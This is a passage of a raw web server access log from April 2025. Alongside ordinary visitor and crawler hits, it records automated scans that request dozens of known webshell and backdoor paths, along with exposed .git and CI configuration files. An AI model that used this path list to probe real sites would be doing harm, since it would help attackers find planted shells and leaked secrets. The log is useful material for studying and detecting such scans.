Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.192.98 - - [10/Apr/2025:22:17:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.192.98 - - [10/Apr/2025:22:17:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.192.98 - - [10/Apr/2025:22:18:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.192.98 - - [10/Apr/2025:22:18:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.192.98 - - [10/Apr/2025:22:18:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.192.98 - - [10/Apr/2025:22:18:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 18.97.9.98 - - [10/Apr/2025:23:02:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 18.97.9.97 - - [10/Apr/2025:23:02:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 110.166.71.39 - - [10/Apr/2025:23:11:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.208.98.18 - - [11/Apr/2025:00:28:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 154.83.103.113 - - [11/Apr/2025:00:36:39 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.113 - - [11/Apr/2025:00:36:44 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:38 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:39 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:39 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:42 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:42 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:43 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:44 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:44 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:45 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:01:14:45 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 145.220.91.19 - - [11/Apr/2025:01:34:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 3.208.23.31 - - [11/Apr/2025:01:53:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 43.157.50.58 - - [11/Apr/2025:01:55:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [11/Apr/2025:02:01:45 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 45.154.138.42 - - [11/Apr/2025:03:09:51 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 13.68.220.225 - - [11/Apr/2025:03:18:48 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:49 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:49 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:49 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:50 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:50 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:51 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:52 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:52 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:53 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:53 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:53 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:54 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:54 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:54 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:55 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:55 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:55 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:56 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:56 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:56 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:57 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:58 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:58 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:58 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:59 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:18:59 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:00 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:00 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:00 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:01 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:01 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:02 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:02 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:02 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:03 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:04 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:04 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:05 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:06 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:08 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:09 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:11 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:12 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:13 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:14 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:15 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:16 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:18 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:18 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:20 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:21 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:22 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:22 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:23 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:24 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:24 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:26 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:26 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:28 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:29 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:30 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:30 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:31 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:31 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:32 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:33 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:34 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:34 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:35 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:35 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:36 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:36 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:37 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:37 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:38 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:38 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:38 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:39 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:39 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:40 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:40 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:41 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:41 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:41 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:42 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:42 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:42 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:42 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:43 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:44 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:44 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:44 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:44 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:45 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:45 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:46 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:46 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:46 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:46 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:47 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:48 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:48 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [11/Apr/2025:03:19:48 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.68.220.225 - - [11/Apr/2025:03:19:48 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:49 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:49 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:51 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:52 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:53 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:53 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:53 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:54 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:54 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:54 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:55 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:55 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:56 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:56 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:19:59 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:00 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:01 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:01 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:01 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:02 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:03 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:04 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:05 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:06 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:08 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:13 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:13 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:14 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:14 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:15 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:16 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:17 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:19 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:20 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:21 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:22 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:22 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:23 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:23 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:24 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:24 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:25 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:26 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:26 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:27 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:28 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:29 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:29 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:30 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:31 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:31 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:33 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:34 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:35 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:35 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:36 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [11/Apr/2025:03:20:36 -0400] "GET /wp-admin/css/colors/blue/atomlib.php 